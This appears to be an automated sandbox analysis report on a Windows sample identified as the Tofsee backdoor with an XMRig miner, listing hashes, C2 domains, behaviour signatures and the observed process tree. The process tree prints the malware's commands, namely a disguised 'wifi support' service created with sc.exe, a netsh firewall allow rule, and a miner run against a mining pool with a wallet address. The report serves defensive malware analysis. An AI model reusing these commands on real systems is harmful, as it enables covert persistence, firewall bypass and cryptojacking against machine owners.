Analysis

  • max time kernel
    140s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    19/12/2022, 05:15

General

  • Target
    file.exe
  • Size 305KB
  • Sample221219-fxkmesec64
  • SHA256 fd066785278b54aeae791148bdbe76f0df75b2fed72e80b22c07f48e799fda4b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:992
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hkctmbuy\
      2⤵
        PID:592
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lwsxohti.exe" C:\Windows\SysWOW64\hkctmbuy\
        2⤵
          PID:812
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hkctmbuy binPath= "C:\Windows\SysWOW64\hkctmbuy\lwsxohti.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hkctmbuy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hkctmbuy
          2⤵
          • Launches sc.exe
          PID:804
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1608
      • C:\Windows\SysWOW64\hkctmbuy\lwsxohti.exe
        C:\Windows\SysWOW64\hkctmbuy\lwsxohti.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1028
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1696
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1612

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            lwsxohti.exe

            • Path C:\Users\Admin\AppData\Local\Temp\lwsxohti.exe
            • Size 10.3MB
            • SHA256 7ecbc62f00c2d39cab2701d66ebe2e41f6bfbb33d2a6620e24170f4abe43c125
            • MD5 SHA1 SHA512 SSDEEP

            lwsxohti.exe

            • Path C:\Windows\SysWOW64\hkctmbuy\lwsxohti.exe
            • Size 10.3MB
            • SHA256 7ecbc62f00c2d39cab2701d66ebe2e41f6bfbb33d2a6620e24170f4abe43c125
            • MD5 SHA1 SHA512 SSDEEP

            memory/992-58-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/992-56-0x000000000055C000-0x0000000000571000-memory.dmp

            memory/992-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/992-66-0x000000000055C000-0x0000000000571000-memory.dmp

            memory/992-67-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/992-54-0x0000000076561000-0x0000000076563000-memory.dmp

            memory/1028-76-0x00000000008BC000-0x00000000008D1000-memory.dmp

            memory/1028-77-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/1612-99-0x00000000000F0000-0x00000000001E1000-memory.dmp

            memory/1612-101-0x00000000000F0000-0x00000000001E1000-memory.dmp

            memory/1696-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1696-80-0x0000000001990000-0x0000000001B9F000-memory.dmp

            memory/1696-83-0x00000000000A0000-0x00000000000A6000-memory.dmp

            memory/1696-86-0x0000000000200000-0x0000000000210000-memory.dmp

            memory/1696-89-0x0000000000350000-0x0000000000355000-memory.dmp

            memory/1696-92-0x00000000056E0000-0x0000000005AEB000-memory.dmp

            memory/1696-95-0x0000000000360000-0x0000000000367000-memory.dmp

            memory/1696-98-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1696-79-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1696-70-0x0000000000080000-0x0000000000095000-memory.dmp